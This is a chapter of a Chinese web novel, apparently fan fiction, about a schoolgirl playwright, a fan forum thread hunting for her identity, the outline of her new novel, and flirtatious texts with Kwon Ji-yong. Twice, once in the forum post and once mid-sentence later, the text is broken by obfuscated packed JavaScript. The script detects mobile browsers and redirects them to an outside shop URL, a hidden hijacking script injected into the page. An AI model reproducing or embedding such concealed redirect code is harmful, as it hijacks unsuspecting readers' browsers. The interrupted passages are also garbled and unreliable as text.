江听寒起了点鸡皮疙瘩:“爸,能别说小听寒吗?” 江爸爸:“这称呼怎么了?不是挺好的吗?” 江听寒:“有点恶心。” 没有说权至龙喊就不恶心的意思。 但说出来比文字写出来杀伤力要强不少。 江爸爸:“你这孩子,真是伤了老爸的心!” * 【捞一个人,急急急!《致最深爱的丈夫》上那个弹钢琴的小美女是谁,有没有知情人士提供点资料,啊啊啊我一见钟情了!!!】 【主贴】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149209|196417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 我直觉从来没有出错过,这女生高高瘦瘦的,皮肤又白,虽然被遮住了一大半脸,但感觉下巴很精致,绝对是个小美女! 本人钢琴十级认证,这小美女钢琴弹得是真的非常厉害,特别专业! 如果说我还停留在能把一首歌照本宣科弹得非常悦耳的程度,那她就是已经找到了自己的特色,怎么钢琴界没听过她的名字,这是高一的班级吧,这个年龄能把《暴风雨奏鸣曲》这首极弱到极强的钢琴曲弹成这样,妥妥天才少年啊! 总而言之,有没有人认识她?叫什么名字?有没有联系方式!Cyworld小窝地址也行!在线等,急!我要去告白!这种颜值和才华并存的妹妹不能错过啊!!! 【1L】 哎一古,原来不止我一个人被她吸引到了,我还以为我很小众呢,在聚光灯下的精彩对峙不看,去看在暗处的还穿的是黑色裙子的妹妹,但她简直白得发光啊,像是自我发光体一样牢牢地吸引住了我的视线kkk 【2L】 [图片]是这一位吗?我拍了照片 【3L】 是的!!!啊这一幕是最后去把另外两个女角色扶起来的时候吧,也太温柔了,这就是我的女神…… 【4L】 太模糊了,实在是无能为力抱歉 【5L】 不是知道她是高一X班的吗?有没有人认识这个班的学生的,发动一下人脉吧,求求了! 【6L】 我有朋友在这个班级,我去问一下 【7L】 等你好消息!!! …… 【30L】 我回来了!朋友说这位是中国留学生来着,叫做江听寒,本人已经是惊为天人的大美女程度,这上面最漂亮的那个就是她[第一次春游全班合照] 【31L】 上帝啊,正脸长得更漂亮,真的有人能长成这样吗?难以置信…… 【32L】 还有,我朋友说这个剧本就是江听寒xi写的,导演也是她,好像说选角、道具和服装布置、音效安排……基本上全都是她一手包办的,一个人就是一个团队啊。 【34L】 啊? 【35L】 啊?! 【36L】 啊???!!!这是什么神仙啊!这孩子也太大发了吧? 【37L】 一个人担任了这么多职位真是疯了!完全改变了我对中国人的看法啊…… 【38L】 楼主还在吗?我朋友说她朋友不多,她也没有联系方式,你好像要另寻高明了,去找找表演的这几位应该是有的。 【39L】 不了不了,我现在感觉自己已经配不上她了,世界上竟然会有这么优秀的人(咬毛巾) 【40L】 kkk试一下嘛,说不定能成功,根据小道消息,听寒xi现在单身呢 【41L】 不,我不能玷污我的白月光,这个世界没有人能配得上我的女神,我会敌视一切靠近她的人!(怒)(怒) “哈秋!”权至龙重重地打了个喷嚏,一下就引起了练习室里其他四个人的注意力。 东永裴:“鸡涌啊,你不会是又跑去哪个女孩家门口等了一夜吧?” “哦,那不是人家的家。” 权至龙:“?” 大声:“昨天哥的确早早就走了唉,社长来的时候没看到哥还大发雷霆,说练习了六年真的想回家了之类的话……” 忙内:“真的很可能是去表白哦!” 权至龙:“……” “社长那边我已经去说过了,围着我干嘛?是能提升你们的跳舞实力吗?”他板起脸,严肃道。 大声和忙内连忙缩了缩脖子:“内……” 权至龙催促道:“内什么,还不赶快去练习!” 两位弟弟顿时不敢再调侃了,两位哥哥也一起加入了练习,为了两个月之后的出道而不懈努力着。 出道曲练习结束,权至龙瘫坐在地上,大口大口地喘气着,豆大的汗珠一滴一滴砸在练习室的地板上。 他回想起江听寒给自己发的“《致最深爱的丈夫》获得了莎士比亚奖”的短信。 听寒现在已经迈出了成功的第一步,他也要赶上去才行。 会成功吗? 只要坚持下去,一定会的吧! 10. 新小说上线|文中文 江听寒只用一天就构思好了新的故事,基本的起承转合都用一小段话概括好,准备之后给小说的骨架慢慢填充好血肉。 【龙宽和龙扁是一对兄弟,龙扁出生的时候为了跟龙宽的名字对应所以就起了这个名字,他一直都非常不服气,龙宽名字听上去胸怀宽阔,他却不伦不类还很难听。 但上天好像就要将不公平进行到底,龙宽从小天资聪颖,是典型的别人家的孩子,而他没什么读书天赋,平时更喜欢玩,导致两人的差距越来越大。 龙扁回忆起小学的时候,他的成绩还算不错,就是那一手狗爬一样的丑陋字迹总是让老师都忍不住给他多扣几分,又三番五次地让他练字。 把字练好是最需要静气耐心的事情,龙扁最没耐心,坚持练了两三天便不了了之,没过多久,成绩也一落千丈。 又有一次,去济州岛游学必须要家长签字,对于孩子们来说游学就是玩,而最近龙扁成绩不佳,让父母非常恼火,是绝对不可能同意的,龙扁假意提出可不可以假期去济州岛玩,果然得到了父母的训斥。 父母转头看向龙宽时,又嘘寒问暖起来,说他最近学业太重辛苦了,要不要去旅游放松一下。 龙宽淡然拒绝。 龙扁想,这也正常,毕竟龙宽是天才,而他是再普通不过的凡人。 不过……这些人真讨厌啊! 父母讨厌,在之后凭借那尽力写得张牙舞爪也还是丑陋的签名字迹辨认出这是龙扁自己签的老师也讨厌,拒绝给龙扁签字的龙宽最讨厌! 十九岁成年,没考上大学的龙扁搬出了家,来到了远离首尔的小城市,果然不出意料的游手好闲。 好处是他可以自己改名了,终于能改掉这个跟他的字一样丑陋的名字,他摇身一变成了“龙净”,寓意净化一切糟心的人事物。 龙净也是有优点的,人比较热情,也因此在新城市交了几个狐朋狗友,有一天其中一位亲故说自己半夜喝醉酒在路边摔破了脑袋,现在在医院。 龙净火速赶来,发现亲故还有后半句没说完的话,拍脑部CT的时候,好像检查出了肿瘤。 这个消息宛如晴天霹雳,龙净都想不顾男子气概的掩面哭泣,上天为什么总是对他如此恶劣,让他生成一个天资愚钝的人就算了,偏偏还要降下一个比他优秀百倍的哥哥泰山压顶,现在连他为数不多的朋友也要夺走! 亲故又又补充道,但医生说没有到严重恶化的阶段,还可以治,切了就好了。 龙净:“……你这狗崽子!” 龙净每天都来探望这位亲故,频繁到连亲故的家人都觉得奇怪,甚至怀疑他们之间是不是有什么特殊的情愫。 亲故哪怕剧烈咳嗽着也要顽强地发出一阵爆笑:“哈哈哈哈哈,怎么可能!龙净只是太害怕孤独了而已。” 除了孤独,还有失去,龙净从小到大没有获得多少专属于自己的东西,所以他也惧怕失去朋友。 医院其实也是充满着孤独和失去的场所,亲故的病房里邻床总是来来往往,有的是出院了,有的是彻底从名为“地球”的生存游戏里下线了,还有的也是出院,不过不是病愈,而是决定不治了,最后的时光不要在冷冰冰又苍白的病房里度过。 病入膏肓的人们说自己就像是骷髅披了一层薄薄的布,风一吹,里面都是空的,每一天,那层布都会裹得更紧一些,用不了多久,就能勾勒出枯槁干瘪的骷髅模样。 龙净不由得悲从中来,一方面是心疼这患重病的人们,一方面是心疼自己,凭他的文采绝对写不出这样的比喻,只会说出一句:“生病了,好难受!” 新的邻床被送去手术了,一整天没回来,隔天,家人来收拾东西了。 不用询问,只看他们悲怆的眼神就知道邻床结果肯定非常糟糕。 那不过十五六岁的小女孩从床垫的夹层里找出一张纸,眯着眼仔细辨认,却看不出个所以然来,所以戳了戳自己的妈妈:“偶妈,这是不是小舅写的字条啊?” 女孩妈妈一看这字就分外笃定:“肯定是的,他从小写字就难看,现在握笔都握不动了,更难看了……” 说着说着,女孩妈妈眼睛已经泛起了泪光。 “以前多健壮啊,还喜欢打篮球呢,我昨天一看,他那手瘦的,就跟一根枯枝一样,我生怕碰一下就折了……” 其他人纷纷拍起她的肩膀和后背送上安慰。 一大家子围着这张纸条上看下看左看右看,根本辨认不出几个字,这说不定是遗言,看不懂可把他们急坏了。 龙净伸出手,小心翼翼说:“要不……让我试试?” 大家皆是一愣,数秒沉默之后,女孩妈妈把纸条递给了他。 龙净大概扫一眼,竟然能看懂七七八八。 “这好像是记录自己的欠债,你们看,第一行是说欠这个叫大树的人一百万元,第二行是欠这个叫三角的人三百万元……他说自己无能为力,还要拖累家人欠债,如果有来世,他一定会像华尔街巨鳄一样赚上亿万资产来填债。” “还有最后,他说欠这个叫肥兔的人……一架风筝?” 女孩妈妈听到华尔街巨鳄的形容本来已经破涕为笑,听完最后一句,又陷入了浓厚的悲伤之中。 “大树,三角这些应该都是外号,肥兔说的是我,小时候他弄坏我最宝贵的风筝,我气得把他关在家门外,没想到现在还记得……” 龙净有些羡慕这对姐弟之间的感情,他跟龙宽就完全不一样,如果龙宽性转成女孩,会不会好一点? 他被自己的想象恶心得想吐,看着这家人感激的眼神,内心又有些触动。 这是他出生一来第一回感觉自己是一个有用的人。 后面的故事里,龙净认识了很多掌握没什么用技能或者有着稀奇古怪爱好的朋友,但在某种特殊时刻,这些竟然能派上用场,他们并不像自己认为的那样一无是处。 一天,“庸庸碌碌干大事”论坛上线。 论坛打出了相当响亮的口号:“你经常被人说没用?没关系,我们更没用!”】 两个月时间,江听寒已经完成了一大半,还差结局没写,不管是大团圆包饺子还是老死不相往来,都应该把龙宽拉出来溜溜了,但她还没想好怎么安排。 不能说她速度慢,因为她同时也在干另一件大事。 在戏剧节之后,校园论坛上关于江听寒的帖子如同雨后春笋般冒了出来,之后甚至还有偶遇帖,饭堂见到了江听寒有多美blbl的,她一跃成为人尽皆知的校园女神。 而在网络上她竟也开始小有名气,一开始是学校在官网上更新了新一届莎士比亚奖获得者节目的表演全录像,标题和概要措辞实在是太官方,没有掀起什么水花。 直到一位记者发布了自己拍摄的录像视频,并配字:【神颜且天才的女高中生你爱了吗!写剧本当导演弹钢琴信手拈来,比你有颜值的同时还比你有才华!】 很快就有一大堆想要找茬的网友点进去看了,看完之后感觉——完全不够看啊! 他们想要找到更多关于江听寒的资料,顺藤摸瓜找到了校园论坛,本来是要校内账号才能登录,但网友们钞能力或者骇客技术各显神通,把有关的帖子全都看完了。 本来是抱着“毁神”的恶意心态来的,看到最后却发现那视频标题好像真的没说错?! 因为太多外人要登录校内论坛,管理员在查清楚来龙去脉之后直接把江听寒的名字设成了屏蔽词。 只要提到名字就会整个帖子强制封禁,帖子里留言的人都会被连坐关小黑屋,七天起步。 这并没有阻止学生们追随女神的步伐,本命落,万花名生,就连一个简单的“她”,大家都能意会指的是谁。 而江听寒也在看到网上流传的各种角度的视频之后萌生出了一个新的想法,同一角度的官方录像太过死板,如果把不同角度剪成一个视频,说不定会把《致最深爱的丈夫》呈现得更好。 于是她要来了很多视频,甚至私信了记者小姐,表明身份后得到了原视频,花了很久的时间用自己拙劣的剪辑技术勉强剪出了一版满意的,又精进了配乐。 她反复品味了好几遍,加入几个明显是台下观众拍摄的镜头后,虽然显得不是那么专业,但画面的情感却细腻了许多,如果台上有一台摄像机,那在这个时候就是应该推进一个特写镜头的,但现实没有,只能用剪辑来凑合。 江听寒先把视频发在有主演和导演的四人聊天室里,得到了众人的一致好评,紧接着又给记者小姐发了一份表示感谢。 记者小姐看完之后同样给出了高度评价:【这个视频发出去一定会爆火的!】 最近有一个名为油管的新兴视频平台,江听寒是会把自己的Cyworld小窝打理得井井有条的人,当然也紧跟潮流开通了账号。 苦思冥想三秒钟,决定叫“Coldy”,刚好没被人占掉。 江听寒不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149210|196417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想把这个视频发上油管这个公开平台,还是太粗糙了些,她要上传自己的作品的话大概率是要买一台相机自己拍拍拍,拍到自己满意了为止。 油管现在暂时还是光秃秃的,Cyworld反倒多了一个新的视频。 不知道是谁把视频传出去了,没过几天,江听寒发现学校官网宣传莎士比亚奖的那一个页面更新了,把江听寒剪的那版视频放了上去,在标题后括弧“导剪版”。 虽然依旧很官方,但真的吸引到了一波流量,有人表示戏剧节好像很好玩的样子,有人想要亲眼见识一下这位江同学是不是真的这么有才华。 还有大量的“女神我要永远追随你!”、“把一个小女孩叫做女神要不要脸啊,让开我要自己一个人叫”、“这镜头也太绝了,一切过来我心脏都骤停了”、“要不要帮你叫救护车”、“可以啊,如果救护车愿意拉我这个一边流鼻血一边把眼睛哭得跟核桃一样肿的病人的话”之类的称赞。 忽略这些耍宝的留言,这个导剪版舞台简直是独特又优秀的招生简章。 江听寒都在思考学校招生办是不是应该给她打钱了。 在经历烦人的期末周之后,江听寒放假了。 与此同时,她在两周前向杂志社寄出的稿子得到了回复。 杂志社表示她写的故事很有意思,把自己的缺点化腐朽为神奇的设定他们也很喜欢,但太慢热了,毕竟是在《少男少女世界》上一章一章连载,杂志社还是怕读者没有耐心,便询问江听寒能否把开头改得更引人入胜一些。 江听寒专门选了《少男少女世界》这样还有散文形式的杂志,没想到也要要求第一章就抓住读者眼球,果然是有些不景气了。 她在开头加入了一段龙净在医院走廊里摆摊跳大神的场景描写,刚写几句,就收到了新的短信。 是权至龙发来的。 【考试考得怎么样!】 江听寒有些疑惑:【你怎么知道我考完试了?】 权至龙:【嘿嘿,我有人脉!】 江听寒:【你猜的吧】 权至龙:【哎呀,不要拆穿我嘛】 江听寒:【我现在有点烦】 权至龙:【怎么了怎么了,考试没发挥好吗?】 江听寒:【不是,我是在苦恼……一个男人】 权至龙:【莫拉古?!是谁!!!】 权至龙:【说出来鸡涌欧巴替你分忧,我最会分析对方是好男人还是坏男人了!】 屏幕外的权至龙已经紧紧抿住了嘴唇,眉眼都耷拉着,一看就是不高兴。 当了两个月的网友,竟然有男人趁机接近江听寒,问过他这个哥哥的意见了吗! 江听寒:【他虽然不算太高,也不算太帅,但是很善良】 权至龙一看这描述就痛心疾首起来了,那不就是高高帅帅的反义词又丑又矮吗! 【有工作吗?】 江听寒:【暂时还没找到】 权至龙:【那不就是无业游民吗!他人在哪?】 江听寒:【在医院呢,他好像说计划支一个摊子,给病人驱驱邪求求神明保佑什么的】 权至龙:【那是坑蒙拐骗吧!看起来更不靠谱了!】 江听寒:【但是他一次只收一百韩币唉】 权至龙都要急死了,他一直感觉江听寒很聪明啊,怎么这会完全被蒙蔽了双眼,那个男人到底是何方神圣! 【pabo呀!骗你一根头发也是骗啊,还得加一个非法经营,罪加一等!!!】 他苦口婆心地劝起来:【这百分百是坏男人,你不能跟他在一起,而且你还小,最好不要这么快谈恋爱,容易被伤害】 江听寒:【kkk我什么时候说我要跟他在一起了】 权至龙:【唉???】 江听寒以牙还牙:【pabo呀,这是我新小说的主角~】 权至龙:【……&%#$A*¢滋滋……代码错误……呼噜噜……你的小权已下线】 江听寒:【呼噜噜是小猪叫声吧】 权至龙:【是小权不是小猪,不对,是鸡涌欧巴!】 江听寒:【kkk这不是还没下线嘛,代码这么快就修好了?】 权至龙:【……(〃>_<;〃)】 与此同时,权妈妈看着上个月的电话费用账单,也苦恼了起来。 “鸡涌这孩子,到底是天天拿手机干了什么,怎么能花这么多呢?”